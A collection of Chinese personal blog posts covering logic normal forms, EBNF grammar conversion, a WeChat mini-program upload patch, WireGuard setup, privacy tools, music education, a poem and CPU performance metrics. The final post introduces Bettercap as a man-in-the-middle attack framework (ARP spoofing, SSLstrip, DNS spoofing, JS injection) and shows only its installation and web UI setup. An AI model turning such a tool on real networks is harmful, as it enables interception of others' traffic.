$\approx \forall x_1 \forall x_2 \forall x \exists y (\lnot P(x_1) \land (P(x_2) \lor R(x_2)) \land (Q(x) \land R(y)))$

斯科伦范式(Skolem Normalform, SKNF)

定义

若一个式子$\alpha$是斯科伦范式,那么$\alpha = \forall x_1 \dots \forall x_n \beta$,此处的beta没有量词.同时,此时Alpha的量词中不含存在量词

有点晦涩啊,看看wiki

一阶逻辑的公式是Skolem 范式的，如果它的前束范式只有全称量词。(wikipedia)

相较于命题逻辑:

定义:可满足等价(Erfüllbarkeits-Äquivalenz)

若两个谓词公式Alpha和beta可满足等价,写做$\alpha \approx _{sat} \beta$,意味着:当alpha可满足的时候beta也是可满足.

转换

EBNF转换BNF的规则和例子(巴科斯范式)

1615296353

废话不多说,能看到这篇文章的相信已经学了BNF的内容.至于这个东西和上下文无关文法的关系,和Algol的关系,在这里就不赘述.

首先我们知道EBNF是BNF的扩展.添加了一些符号.而这些符号规则和正则表达式又有关系.

由于md编辑器的问题, “竖线”为| ,双竖线为||, ε 为空

EBNF	含义	等价BNF
X::=u(v)w	括号,优先级	X::=uYw Y::=v
X::=u(v1竖线v2)w	Alternative	X::=uYw Y::=v1 Y::v2
X::=u[v]w	可选,可有可无	X::=uYw Y::=v Y::= ε
X::=u v? w	可选,可有可无	X::=uYw Y::=v Y::= ε
X::=uv*w	重复	X::=uYw Y::=vY Y::= ε
X::=uv+w	重复,v至少出现一次	X::=uYw Y::=vY Y::= v
X::= u(v双竖线s)w	分隔	X::=uYw Y::=vsY Y::=v

表格来自某个大学讲义

那么我们来看一个例子

S ::= ((word +) || ',') ('.' | '?')

这是一个EBNF, 我们如何把它转化成BNF?
不难看出,这是说一个句子的组成结构.
我们应该如何转换呢?

我们可以根据括号从大到小一步一步的分开.比如这里的S显然是由两大部分组成的.((word +) || ‘,’) 和 (‘.’ | ‘?’)那么我们就可以自己创造两个非终结符来表示这两个部分:做如下BNF: S::= sub_s symbol.
由此递归的处理我们已经转换的每一个非终结符.比如上面我们已经得到的sub_s可以自己继续根据规则转换成sub_s::= words ‘,’ sub_s
直到拆到最后一个括号比如(word+) 按照规则就可以转化为 words::= word words, words::=word. 那么就算是完成了.

S ::= sub_s symbol
sub_s ::= words ',' sub_s
words::=word words
words::=word
symbol ::= '.' | '?'

微信小程序云存储图片上传及UI框架兼容补丁(wx.cloud.uploadFile, Wux)

1617537839

一

最近在折腾微信小程序, 因为我没有备案域名所以目前只能考虑通过调用微信自己提供的serverless API进行开发.
5G的免费存储,千次操作,带1G的CDN流量,还是很可观的. Serverless概念, 不需要备案, 没有理由不用吧?
但是我也遇到一些问题, 听我慢慢说来: 我开发的项目对于个人来说有点点大, 有使用框架的必要. 一开始用的iView组件库, 后来又自己补了一个客户图片上传功能,但是iView没有upload这个组件. 于是我又在项目里加了Wux UI混合使用.
可是当我看起Wux的文档的时候人傻了: 根本没有云存储上传支持.
赶快又去看了看微信亲儿子 weui, 也没有云存储上传支持.
哦豁.亲妈不管.

二

本文接下来的代码是Wux的4e19b28 on 29 Nov 2020, 未来下面的代码可能会变化,不确保长期有效,当然Wux提供云上传支持那最好了.

我其实不太会ES6那啥玩意, 但是这个补丁得我还是得打.如果有大佬看见我的方法,别见笑.

好在微信组件库并没有特别复杂的依赖关系, 根据Wux文档:量身定制在github中下载的那个项目中的src/upload/index.js能看到upload的可读源码. 在文件的380行我们可以找到wx.uploadFile函数的调用, 观察是如何运行的:

if (!this.tempFilePaths.length) return

const { url, name, header, formData, disabled, progress } = this.data
const file = this.tempFilePaths.shift()
const { uid, url: filePath } = file

if (!url || !filePath || disabled) return

this.onStart(file)

this.uploadTask[uid] = wx.uploadFile({
                url,
                filePath,
                name,
                header,
                formData,
                success: (res) => this.onSuccess(file, res),
                fail: (res) => this.onFail(file, res),
                complete: (res) => {
                    delete this.uploadTask[uid]
                    this.triggerEvent('complete', res)
                    this.uploadFile()
                },
            })
            // ...

根据微信官方API文档:
wx.uploadFile
wx.cloud.uploadFile

对照一下, 普通上传必须要url, filePath, name三个参数, 云上传要cloudPath,filePath这两个参数.
filePath完全可以重用, url可以用于控制识别应该用那个函数,毕竟url格式应该是固定的. 至于name则是可以合并在后者cloudPath之中的.
另一方面这两个API返回的对象也是一样的.所以应该可以考虑补丁.

简单的说,我就是让url这个参数格式为开头是cloud的时候就使用云函数,除去cloud和分割符后面就是云函数路径,加上name就是cloudPath可以上传了.

比如url是cloud:avatar, 那就是上传到云存储的avatar路径之下

我自己的脏patch代码如下

        uploadFile() {
            if (!this.tempFilePaths.length) return

            const { url, name, header, formData, disabled, progress } = this.data
            const file = this.tempFilePaths.shift()
            const { uid, url: filePath } = file

            if (!url || !filePath || disabled) return

            this.onStart(file)

            //云上传补丁 begin
            //console.log('[*] upload:'+url.substring(6,) + '/' + name)
            if (url.substring(0,5) === "cloud") {        //检查url参数开头是否是cloud
                this.uploadTask[uid] = wx.cloud.uploadFile({
                    cloudPath: url.substring(6,) + '/' + name,        //拼凑cloudPath
                    filePath,        //直接利用filePath
                    success: (res) => this.onSuccess(file, res),
                    fail: (res) => this.onFail(file, res),
                    complete: (res) => {
                        delete this.uploadTask[uid]
                        this.triggerEvent('complete', res)
                        this.uploadFile()
                    },
                })
            } else {
                this.uploadTask[uid] = wx.uploadFile({        //原本的调用
                    url,
                    filePath,
                    name,
                    header,
                    formData,
                    success: (res) => this.onSuccess(file, res),
                    fail: (res) => this.onFail(file, res),
                    complete: (res) => {
                        delete this.uploadTask[uid]
                        this.triggerEvent('complete', res)
                        this.uploadFile()
                    },
                })
            }
            //云上传补丁 end
            // .....

对应wxml, 只用在url那边如此填写:

<wux-upload listType="picture-card" defaultFileList="{{ fileList }}" max="3" url="cloud:avatar"  name="{{imgName}}" bind:change="uploadChange" bind:success="uploadSuccess" bind:fail="uploadFail"  bind:preview="uploadPreview" bind:before="uploadBefore">
        <text>上传</text>
</wux-upload>

这个patch并不是个很好的方案,但是的确兼容了.
希望未来wux能加入这个API的支持.

Wireguard-easy: 一个基于docker的wireguard管理面板的上手

1624058121

缘起

自己的网络服务正在越来越多. 私有网盘, 札记, Todolist, 相册, 邮箱…甚至有账本, 密码管理工具等等.

如此多的私密服务让我感到十分不安, 因为这些服务我不得不远程使用，不得不跨越公网。而公网并不安全。

你或许听说过各种服务比如NextCloud, 某些管理软件, 摄像头等存在安全问题.当你读到这句话的时候, 这台服务器很可能就在被各种bot扫描. 而我的SMTP服务和ssh正在一刻不停的受到来自全球IP的暴力破解. 也就是说, 随着服务的增多, 暴露出的攻击面就越大, 我的个人信息越来越不安全. 并且, 我的服务器运行在我自己的住处, 被入侵后直接可以进入我日常生活的网络, 就像房间有陌生人能随意出入一样.

于是我使用了wireguard来保护我的通信. 我不再把内网服务暴露出来, 而是我在需要的时候自己进入内网.

但是随着设备的增加, 每次都需要生成秘钥, Copy秘钥到服务器, 写配置文件。重复且繁琐的机械工作并不是一件愉快的事情. 于是我决定试着使用一下Wireguard管理面板:

Github: Wireguard-easy

功能

就我用下来的体会, 这并不是一个能把wg功能完全发挥出来开的项目, 而只是一个精巧的小工具. 对于日常组网来说够用。
这个项目依旧存在一些问题, UI功能并不完善. 我是在后面进行了一些修改后才达到了预期
所以, 某些场合这并非完全开箱即用, 各位读者请多考虑.

提供密码保护的web UI, UI设计美观.
自动创建带有preshared-key的配置文件, 可以使用二维码扫描或者下载配置文件的方式获取配置信息.
可以随时启用禁用某个客户端.

其缺点:

功能就以上那些了, 没了, 对.
不能在配置文件中轻松配置访问来源, 也就是说, 这个web UI默认也是面向公网. 防护仅靠你设置的密码. 没有2FA. 那么你必须需要一个相当长,复杂且无规律的密码. (其实可以解决, 看后文)
udp端口配置依旧存在缺陷, docker-compose.yml中修改后并没有什么作用. WEB UI端口实际上在config.js留了参数但是并没有在文档中公开.(有没有用不知道, 希望这里我没弄错. 但是也有别的方法可以解决这个问题.)
创建客户端后无法在其UI编辑任何信息, 包括tag.
无法在WebUI中手动指定其静态IP, 此外, 除非下载, 或者你可以直接阅读二维码, 那么你甚至不知道其生成的IP到底是什么. 其他配置选项也比较缺乏，这点对于内网组网相当的不友好.

综上, 和Subspace, NetMaker比起来, 安装哪个请自行考量. 对于我嘛, ~~又不是不能用~~

安装

如果你已经安装好了 Docker, 那么安装过程非常简单. 以下命令来自其项目readme.md

$ mkdir ~/.wg-easy
$ cd ~/.wg-easy
$ wget https://raw.githubusercontent.com/WeeJeWel/wg-easy/master/docker-compose.yml
$ vim docker-compose.yml

然后我们来运行它

sudo docker-compose up --detach

至于docker-compose.yml的内容, env参数的使用, 请去阅读其项目readme. 对, 我懒, 懒得抄XD.

适配&&一些问题

(第一个用于测试的wg配置)

迁移，导入原来的密钥

想用起来的过程并不是非常顺利. 由于我UDP端口已经有指定, 秘钥也在多个服务器已经有了部署, 所以我不能接受其自己生成的新的秘钥.

我需要将其生成的秘钥替换成我自己已经有了的秘钥对. 可惜这个工具不支持上传.

如果你是按照其Readme.md文档配置的, 那么其配置文件就在~/.wg-easy之下的wg0.json中. 修改wg0.conf无效, 它是被自动生成的文件.

哦, 对了, 如果你要修改Tag等等也是在wg0.json中进行更改.

你可以复制之前的秘钥, 粘贴进wg0.json进行覆盖. preshared key可以不管.

UDP节点监听端口无法修改的问题

另一个就是监听UDP端口的问题. wg-easy默认监听51820, 在docker-compose.yml中WG_PORT这一配置修改后依旧无效. 你甚至能在其项目文件中找到被硬编码的51820这个数字.

我的解决方法是直接在docker-compose.yml中的ports把映射写成:"<port>:51820/udp"解决的这个问题.

当然了，这个功能本身通过webUI也不好实现。可能本身设计意图就是改docker-compose.yml所以无伤大雅。

Wireguard: Address unreachable 问题

这个被我遗忘了, 不得不提一下, 在服务器上需要设置一下PersistentKeepalive这一项.
Wireguard-easy居然也没有生成这个. (懒得吐槽了)
因为我的服务器在我自己房间里, 在NAT和防火墙之后. 因为长时间没有流量的时候会被NAT”遗忘”而造成Address unreachable, 导致服务器”消失了”, 你用其他设备连不上你在wg内网的服务. 不过别的不提供服务的peer这点也无所谓.

请参见Wireguard: Quick start
或者Archlinux wiki: Unable to establish a persistent connection behind NAT / firewall

屏蔽公网访问Web UI

这个着实有点tricky了, 因为Wireguard转发后流量是从容器内的UDP端口出来, 而不是从宿主机进入.

什么意思呢? 你看了我怎么做就懂了.

所以我直接在docker-compose.yml中修改了管理界面的映射: <port>:51821/tcp(把容器的51821端口映射到<port>) , 然后用宿主机的防火墙Block了<port>端口, 也就是说, 不可能从公网通过宿主机访问这个WebUI了. 然而你在内网的时候, 流量是从UDP端口直接进入容器访问其51821的, 所以只能进入wg内网才能访问WebUI.

此时你甚至可以在宿主机屏蔽掉所有端口, 仅仅暴露一个不起眼的, 随意的UDP端口.

到这里, 我的目的已经达到了. 现在我们可以把分布在异地的服务都保护在了自己的内网之中. 把一扇扇门堵上, 指留一扇小小的UDP防盗门.

嗯,
“又不是不能用”

（根据评论区ous50:可以设置 docker port forwarding 为 127.0.0.1:xxxx，只填端口的话会默认变成0.0.0.0:xxxx 这个听上去也是一个方法，而且更简单。）

一些问答：
Q：我想用wg科学, 可以吗？
A：可以但是不推荐，但由于存在明显的协议特征，容易发送进亚空间，不推荐。

Q：可以用来联机游戏吗？
A：可以但是不推荐，因为这是layer3。如果游戏可以输入IP直连，那么能用。但是如果游戏是内网发现的那种layer3的就做不到了。建议用n2n或者一些商业解决方案。

Q：我有更加复杂的网络需求…
A：可以试试NetMaker。

个人信息安全[1]: 使用软件工具创建更好的隐私保护

1625180127

你是可读的

过去十多个月来，每当我在全球各地讨论这个议题的时候，总是有人会这样对我说：「我并不担心隐私被侵犯因为我没什么不可告人之处」我也对他们回应相同的答覆。我拿了一支笔，写下自己的电子邮件，然后说：「这上面是我的电子邮件，我希望当你回到家之后，把你自己所有的电邮帐号和密码都寄给我。不是只提供你工作上使用那个一本正经的电子邮件，而是全部的电邮。这样我可以在线上用你的帐号来了解你的一举一动，然后把我认为有趣的事物公开出来。不管怎样，如果你不是个坏人，如果你没做过坏事，你应该也没什么不可告人之处。」然而从来没人回应我这项提议.
—— Glenn Greenwald

(保护软件和建议请往下翻)

如今你不能否认, 你已经有这样一个人脑”扩展”: 手机. 这不是瞎说:
而且手机比你更了解你自己.
问一问:

你是否记得住你这个星期都去了哪里?
昨天你走了多少公里?
你上个星期和你朋友聊了什么话题?
你上次在超市花了多少钱买了哪些东西?
这个玩意今天有多长时间距离你超过一米?

所以, 如果你会读心术, 你大概还是太落后了. 如果可以, 读取别人手机是更好的选择.

一个”智人”的大脑的”优化”不会让ta记得那么清楚, 以至于没有手机, ta不知道曾经做了啥, 甚至ta自己都很难说清楚ta到底喜欢什么, 不喜欢什么.

当然, ta不说, 有时候完全也是因为: ta不想说. 因为那是秘密.

尽管如此, ta的手机还是知道一切, 并且不只是手机, ta的浏览器厂商, 手机厂商, ISP, 服务提供商, 都知道这些: 不仅知道秘密, 比你自己更清楚你自己, 甚至能预测未来.

我的标题是”可读”, 可事实上, 上面的那些组织可以读到的东西比你自己读自己还多.

他们为何知道? 因为我们授权给他们了.

然而我只是想保存我的照片, 他们就拿去了我的照片, 并且能预测我老时的模样.
然而我只是想和朋友聊天, 他们就知道我想买什么.
然而我只是搜了数学题, 他们就知道我需要一些辅导工具.
更讽刺的是因为我搜索了隐私, 于是他们给我推荐商业隐私保护.

我不想让他们知道, 我是否可以不授权呢? 如果那样, 我就从这个世界offline了.

更加糟糕的, 现在甚至可以使用运动传感器进行语音识别, 你家的智能电视搜集着各种信息.

你的终端设备毫不夸张的说, 是你大脑的延伸扩展, 是你大脑的一部分. 你不会希望有一个不可控的团体, 寄宿在你的大脑中偷窥你的想法, 观察你的行为, 甚至有意的, 改变你的想法.(那是下一篇的内容)

隐私泄露有三种:

黑客盗取
企业收集
大兄弟

我们今天谈论的隐私不是被”黑客窃取”的那一部分. 实际上那一部分只不过是你提交给上述组织的部分被公开了而已. 也就是说, 如果你针对第二种隐私泄露进行保护, 那么黑客也难以盗取. 然而对于第三种…

这个问题到这里, 到了企业之上的某个团体, 我就不想多讨论了. 他们总是有办法对付你的. 只是成本问题罢了.

总是有人说:

“因为你在做见不得人的事情, 所以你才害怕被人看见.”

真的是这样吗?

我引用一段TED演讲, 开头的引用正是出自这里.
[TED] Why privacy matters
还有一篇
为何我们应该结束数据经济(英文)
请各位朋友自己思考吧.

你应该做什么

如果你有能力, 应该掌管你自己的数据, 而不是交给第三方.
密码不要重复. 我有一个简单的方法: 你完全可以使用你服务名称,名称拼音长度,加上一首诗的一部分拼音.中间用特殊字符隔开:
- 比如: 微信,独钓寒江雪, !WeChat$6$Ddiaohjx!
- 这已经是一个强度足够的密码了. 现在几乎所有服务都用了Hash算法处理你的密码并保存密文, 如此强度的密码难以还原成为明文. 并且由于其内容不同, 难以撞库. 记忆起来并不困难. 然而这条只是针对黑客或者内鬼造成的信息泄露. 其实这个话题的防护还能专门写一篇文章, 但是密码不能相同这是非常关键的.
尽可能少注册服务. 仔细想想, 我真的需要微博,b站吗? 我不需要.

你或许可以和某些大公司的隐私策略之间有一个trade-off. 但是对于某些明目张胆践踏法lv的企业不要给予任何信任. 他们随时都可以做的更过分.

还是那句话, 你的终端设备是你大脑的扩展, 请不要让不可控的东西侵入.

以下:

不要使用: 很糟糕. 无法无天的做恶或者烂的彻底.
避免使用: 自己trade-off, 不算太坏, 然而还是不推荐.
推荐: 就字面意思.

操作系统

手机系统

不要使用国产ROM, 避免iOS和含有谷歌框架的Android.
前者几乎是肆无忌惮的收集数据, 后者尽可能避免.
lineageos可能是更好的选择.
btw, 没有谷歌框架的话应用可以从F-DROID获取.
至于更深的隐私防护工具比如XPrivacyLua我不发表看法, 因为Root, Xposed手机本身就是在制造一种攻击面. 你觉得你骗过了流氓APP, 但是不知道流氓APP会不会利用你root做些什么…毕竟su管理工具到某框架也不是保证没有漏洞的.

PC操作系统

不要使用Windows. +86软件生态窃取信息, 弹出广告, 已经是一种标准操作. 另外微软对用户数据的收集也很多.
可以使用Linux衍生操作系统如Debian, Arch之类的. 我使用Linux某衍生操作系统当了几年的主力生产/日常操作系统, 体验很好. 只有偶尔打游戏的时候因为游戏windows独占而回到几乎家徒四壁的windows.

DNS

DNS可以追踪你的所有访问记录. 你会发现很多你从ISP购买的路由设备默认DNS设置都指向ISP的DNS服务. 你设备的任何一次对域名的访问你的ISP都会知道. 不仅如此, 他们可以轻易操控你的访问: 阻止你访问, 重定向你的访问.
DNS安全代理:dnscrypt-proxy
支持多平台下, 多种安全协议的DNS代理. 需要搭建, 别让ISP盯着你看.

浏览器

现在你的操作系统已经准备好了.
浏览器请:
不要使用任何国产套壳的玩意. 手机上包括夸克浏览器等等. 他们几乎全方位的记录你的浏览记录,
包括那个没死透的IE, 因为安全性真的太差了.
(如果你还是打算继续用windows…天哪这里所有糟糕的选择都在windows上)
避免使用Chrome, Edge等如果真的喜欢也请使用 Ungoogled-chromium
推荐Firefox, 推荐使用插件修改你的UA等等.

搜索引擎

不要用国内的搜索引擎. 很烂, 真的. 如果你能看到我的博客你大概也没有用国内搜索引擎. 因为国内搜索引擎也不care我这种从来不屑于写”大新闻”, “科普”, 自己写的博客系统URL, 还又不交保护费的站.
推荐DuckDuckgo, 很有名, 搜索质量也不错.
(我才发现它收录了很多我的文章耶!)
不推荐使用Go*gle, 你搜了啥, 广告统统给你精准投送. 但是它搜索质量好, 怎么办?
推荐 startpage, 内容貌似来自Go*ogle但是没有收集隐私.
推荐whoogle-search, 你需要自己搭建就是了, 但是也是从咕鸽获取的结果. 然而它可以去除所有隐私敏感的东西.

浏览器信息泄露测试

https://tenta.com/test/ 这个测试涵盖挺广的.
https://panopticlick.eff.org/tracker 这个主要针对你的浏览器指纹, 并且提供了细节.

准备搭建个人服务

域名和VPS

不推荐国内的VPS和域名提供商. 你不可避免的需要备案…带着你的大头照和证件信息一块给别的公司.
推荐https://njal.la/
可以从tor网络访问, 同时支持虚拟货币支付.
同样的你可以在这里购买VPS. 机房貌似在瑞士. 瑞士, 你懂.
参考中有推荐https://www.opennic.org/
但是opennic你能获得的不是一个能在”正常且传统的网络”中可以访问的域名.需要填写特殊的DNS. 没有特别配置DNS的话, 这里的域名并不是那么容易访问的到.
(推荐仅把这个VPS当做一个IP资源.)

邮件服务

推荐protonMail, 瑞士, 还是瑞士.
自建也可以:
Mail-in-a-Box
我自己用的是Mailu
(不要脸的推荐自己的文章XD https://blog.restkhz.com/post/mailsystem-setting-up)

邮件客户端

电脑上推荐Thunderbird
Android我推荐FairEmail. 也一直是自己在使用的电邮客户端. 支持签名加密等等, 并且会对追踪信标标记.
K-9 Mail同样不错, 个人甚至觉得UI更好看, 但是GP上的版本太老, 不要在GP上找.

你的文件安全

不要使用国内XX网盘, 我不是说哪一家, 我是说很多家. 姑且不论他们扫描你文件内容,
光下载速度就能让你绝望. 你也不知道客户端在干什么.
推荐自己搭建NextCloud, 如果只是照片备份, 安卓客户端目前用着还行. 同步我不知道, 听说不太好. 但是NextCloud还有很多别的功能, 比如用作记账, 云端todo-list, 密码保存, 还有一堆聊天, 办公杂七杂八的功能. 扩展性很强但是未必都用得到.
同样推荐Syncthing, 用着很舒服的文件加密同步.

组网

推荐wireguard. 我不久前也写过一篇文章, 但是那个工具并不好用. 我就不单独把它挂出来了.
如果你的环境/条件有限, 那么N2N也是不错的选择.
注意: 随着你自己的服务变多, 你需要组网来保护你的服务. 因为你服务越多, 攻击面越大, 暴露在外可能会被扫描到且被攻击. NextCloud曾经就有过严重的漏洞. 如果你把它放在内网里, 就没那些事情了.(但是你依旧必须给你的应用升级更新)

通讯/社交软件

不要使用Wechat和QQ, 就算用也和生活手机分开, 仅在办公使用. 和几个流氓放进一个手机里.
我的WeChat被封号已经不是一次两次了. 基本都是因为Root或者Xposed导致的. 至于为何Root, 是为了对付整个手机的流氓App, 包括那个叫Wechat的大爷. 小窗一弹, “有本事你别用.”
~~并且WeChat玩的一手One app, two system.不提了.~~
推荐Signal, 这里也有一个叫做Molly的Signal客户端. 更注重安全.
Telegram存疑. 但是也是一个良好的替代品. 前提是你不能使用+86号.
推荐使用基于XMPP和Matrix协议的通讯的客户端. (服务端自己找或者搭建都行, 比如matrix的客户端Element). 联邦化是一个很好的思想.

另外还有一个长毛象, 也是联邦化思想的经典.

不推荐Whatsapp.
不要使用新浪微博, 不要使用知乎. 如果用的话也请使用第三方客户端. 这里我就不推荐了.

无论如何, 请你好好拥抱你的线下生活.

参考

(这里我尽可能的找了中文版本, 我没有能力把这里所有软件服务都测试一遍, 同样, 这里的软件也不都是符合+86区域内的情况的. 以上我只是挑选了一部分我了解的并且进行了整合.)
https://github.com/KevinColemanInc/awesome-privacy
https://github.com/pluja/awesome-privacy
https://prism-break.org/zh-CN/categories/android/
https://cybermagicsec.github.io/privacytools-zh/

困惑: 音乐到底该怎么学?

1631495505

最近看了不少TwoSetViolin(u2b)的节目, 回想到了我曾经那8年的乐器”学习史”. 我不是音乐专业的, 但是我也想发表一下自己的看法.

直截了当的说, 我是相当讨厌那阵子经历, 以至于后来街坊邻居谁家小孩子学了乐器, 我心里都在想:”救救孩子”.

一

颇为讽刺的是, 我正经开始”懂”音乐, 是从我放弃的时候开始的. 有人说, 无论我是否讨厌那种经历, 但是也是那个经历给了我鉴赏能力和(完完全全已经废掉的)演奏技巧出现的契机. 我不否认这点, 的确, 我若是当初没学过, 我可能这辈子和乐器没有任何关系. 但是, 我们来看看我早年是如何学的: 请你想象一下:

现在你面前有个手册, 和一个有一堆按钮的键盘.
手册告诉你, 你需要按键盘上的哪个键, 用多大力按, 什么节奏按, 按多长时间.
好, 现在你去练习按按钮, 每天按几十分钟到几个小时不等, 搞到手疼腰酸屁股痛, 按错就骂你.
下个星期换一个手册.
业余等级考试就是: 给你一个又臭又长的册子, 一样的东西, 按几个月不换, 最后按给考官看.

这是什么? 这是虐待. 你可能说, 你太偏激, 你这完全忽视了它会”制造声音”. 然而你去听听, 头一年的曲目你再怎么练习, 它都是无聊乏味的, 练习曲也不会好听. 并且, 如小提琴一般的乐器, 初学时”制造的声音”只会让旁边的人感到暴躁无比. 学生自己会觉得好听么? 最后, 当学生练成的时候, 这首曲子他自己早已听了千百遍, 相信我, 一首曲子你自己听千百遍, 即使本是天籁也是一种虐待.

于是, 你听过的很多诸如”一个可以把<命运>演奏得出神入化的小男孩成功的秘诀是:我恨钢琴”的笑话, 其实就是这个意思.

二

曾经带着别人家孩子练琴, 人家弹的美国的那啥汤普森的那套教材. 那首是溜冰场什么的来着. 毛事是用溜冰的情景作为连线标记的练习曲. 可怜了人家小学都没上的小女孩, 生长在中国南方, 雪都没见过几场, 还是别说溜冰场了.

美国那个教材如此设计是为了贴近生活, 像是给药里加糖一样让孩子吃的下去, 挺过那”虐待”的时刻, 问题是你引进的教材贴近的是美国生活, 但是这孩子是中国生活…这口味不对.

所以, 我们有好的本土教材吗? 不知道. 我只知道, 我那个时候用的就是汤普森, 十多年后, 依旧是汤普森.

我并不认为在教材方面, 现在有多大改进.

三

现在回想, 我对乐器的教学是失望的. 隐约记得在当时教培机构的墙上有这么一排红色, 大大的字:

音乐陶冶情操

但是我在那里感受到的, 只是对音乐的亵渎, 对人的虐待.

对于音乐, 我想说或许它和美食一样. 你未必是一个厨师, 但是要能享受佳肴. 我不理解的是, 很多时候人们在学乐器前并不能够享受这个乐器演奏的音乐(尤其是古典). 结果就像没有味觉的人在学厨艺一样, 每一次练琴, 甚至不知道应该把它演奏成什么样子. 这样对自己品鉴能力无益, 也不可能学好演奏. 说是学的音乐, 实际上, 只是在练习按钮按压,拨弦拉弓吹气技巧. 和音乐本身没有任何关系. 可悲的是, 我能看到的大多数的乐器学习都是这么荒唐.

不如先放下乐器, 从听音乐开始吧.

恐惧着每一个冬天

1634073717

恐惧着每一个冬天,
踩着露, 踏着霜.
雨水浸透鞋袜, 蒸汽模糊了镜片.
世界只剩深蓝一片.

躺在枯萎的高草地里, 无路可走, 无家可归.
纸盒子里的人发着低烧,
漆黑中看蟑螂爬过,
并不想理他.

虚伪的火是那永远不会到来的晴天.
抱着,
在梦中, 去自焚吧.

驱赶牲口的吆喝和叫骂,
鞭子打进肉里, 溅出的是冰渣.
日落之后,
他摔倒在水沟中.
默不作声.

计算机性能评估

1645995179

性能 Performance

表示计算机性能的参数主要有两种

执行时间 Execution time $[s]$: 一个给定的程序需要多长时间执行完
吞吐量 Throughput $[s^{-1}]$: 在单位时间内可以处理多少任务

而评估处理器最佳的指标, 是执行时间的倒数

$Performance_x \sim \frac{1}{ExTime_x}$

所以相对性能:

$\frac{ExTime_A}{ExTime_B}=\frac{Performance_B}{Performance_A}$

时间测量

Elapsed time

Elapsed time: elapsed real time (or simply real time, or wall-clock time) is the time taken from the start of a computer program until the end as measured by an ordinary clock. Elapsed real time includes I/O time, any multitasking delays, and all other types of waits incurred by the program. (Wikipedia)

说白了就是, 真的去测量一个程序运行时间. 所以包含IO, 多任务造成的延迟阻塞等等.

CPU time [Prozessorausführungszeit]

不包含IO和在别的程序上花费的时间,阻塞等等.

可以再简单分为:

user CPU time 在程序上花费的时间(用户空间)
system CPU time 这个程序在系统调用花费的时间(内核空间)

CPU time = usr+sys

执行时间计算

$T_{exe}=I_c \times CPI \times T$

$T_{exe}$: 一个程序的 CPU time
$I_c$: 执行时处理的机器指令数量
$CPI$: Cycle per instruction 平均处理每个指令需要多少周期
$T$: 处理器时钟频率, 主频

这是一张关系图. 来自某个大学讲义.

下面这张图来自南大lecture03.pdf
clock rate和Instr. Set Arch. 可能有关系, 不知道这个课件是否出现错误.

考虑一下单循环处理器(CPI=1) 命令最小命令周期取决与耗时最长的指令. 所以指令对clock rate会有影响.

关于CPI

不同类型的指令有不同的CPI, 我们通常使用平均CPI.
$CPI=\sum^{n}_{i=1}(CPI_i\cdot F_i)$

比如:
数学逻辑运算占50%, CPI=1
Load占20%, CPI=2
Store占10%,CPI=2
分支跳转占20, CPI=2

CPI=1.5

MIPS-Rate (million instructions per second)

MIPS-Rate常用作产品指标.(某大学课件: (很可惜)被经常作为常用指标)

$MIPS-Rate \sim \frac{I_c}{ T_{exe} \times 10^6 }$

因为MIPS-Rate并没有覆盖$I_c$,$CPI$和$T$(指令总数, CPI和时钟频率). 所以MIPS-Rate并不可靠.

首先CPI是不同的, 每条指令耗时不同,所以MIPS是平均值.

Peak-MIPS 则选择CPI最小的一组指令, 实际应用参考价值不高. 就像考试出的题都是找你会的出的. 这样的考试除了图一乐没有意义.

有些时候来自于软件的优化可能在性能提升的同时MIPS-Rate不升反降. 比如把MIPS-Rate喜闻乐见的小CPI指令优化掉后, 留下的都是更耗时的指令. 所以MIPS-Rate变低, 但是整个任务耗时却缩短了. 这就是因为这个指标并不考虑$I_c$(指令总数).

MFLOPS通常是高性能机器的指标.

Benchmarks

计算机是需要进入生产环境的. 所以性能测试最好比较接近实际生产环境. 于是最好的测试方法就是给一些实际的应用来模拟一些场景.

然后对其得到的各个Benchmark的结果进行一些简单的处理.

比如简单的直接累加, 算术平均, 几何平均, 加权平均.

Benchmarks之于机器也有缺陷, 就像凯氏定氮法之于奶粉一样…

最后提一句 Standard Performance Evaluation Corporation

Amdahls定律

[=========|==part F==|============]

首先, 优化系数(加速比):

$S=\frac{F}{F_{opt}}$

当F只是整体中的一部分时: (这是一个Amdahls的变用)

$SpeedUp=\frac{1}{(1-F)+\frac{F}{S}}$

Bettercap:更好的自动化跨平台中间人攻击工具(1) 安装和图形化

1647090390

引子

还记得很多年前, 曾经用着那些古老的工具. 在从backtrack到kali linux. 在终端用着各种工具, 脚本繁琐地组合, 不停地修改iptables仅仅是为了配合Arp欺骗做一些什么.

但是如今Bettercap的出现大大地简化了这个过程.

bettercap is a powerful, easily extensible and portable framework written in Go which aims to offer to security researchers, red teamers and reverse engineers an easy to use, all-in-one solution with all the features they might possibly need for performing reconnaissance and attacking WiFi networks, Bluetooth Low Energy devices, wireless HID devices and IPv4/IPv6 networks.

这个工具基于Go, 意味着可以轻松地跨平台运行.
从网络发现到Arp攻击, SSLstrip, DNS欺骗, 抓包, 请求修改, js注入等等, 全部打包. 只需要几条命令(或者, 鼠标点点)就可以进行攻击.
API接口, 拥有图形化界面. 自带HTTP(S)服务器.
除此以外, 还拥有BLE和GPS等更底层的测试功能.我没什么研究就是.
可以自己编写脚本进行更快速的攻击部署.

(另外作者 evilsocket 其实也是当时的dsploit, csploit的开发者, 他还有另一个防火墙项目也可以玩玩.

安装

请各位去官方文档看吧, 这里翻译一遍没有任何意义. 我也比较懒. 另外, 即使日后出现变更的话这篇文章依旧会有时效性.

[官方安装文档]

哦, 提醒一下, 如果你是Arch类系统用户, 安装只需要yay一下, 非常容易.

同样, 这款工具也在Termux的源里, 意味着可以在Android手机上运行. 未来我会写一篇文章. 目前我在Android下使用这款工具时依旧有一些严重的问题.

图形化, 404 Not Found solution

这款工具有一个自带Web UI, 别急, 在此之前我们需要执行:

sudo bettercap -eval "caplets.update; ui.update; q"

Calpets是bettercap的攻击模板, 说白了就是脚本化的攻击命令. caplets.update是下载更新所有的caplets, 当然了, web UI也是作为这种方式添加进去的. 然后ui.update就是下载最新的web UI,q是执行完了以后退出.

嗯, 若是这个时候你去启动web UI你大概率会看到一个404 NOT FOUND. 那是因为脚本里web服务的根目录很可能和你安装的web UI目录不一样.

所以找一下http-ui.cap这个模板到底在哪里:

find /usr/ -name http-ui.cap

同样我们需要找到和caplets目录同一个目录下的ui目录, 修改http-ui.cap的默认web路径, 也就是这行:

set http.server.path /usr/local/share/bettercap/ui(然而我其实是ln过去的)

记得修改登录的用户名和密码

修改好后启动Bettercap,

如果没有任何错误, 我们可以输入

sudo bettercap -caplet http-ui

然后打开浏览器, 访问http://127.0.0.1

不出意外我们会看见

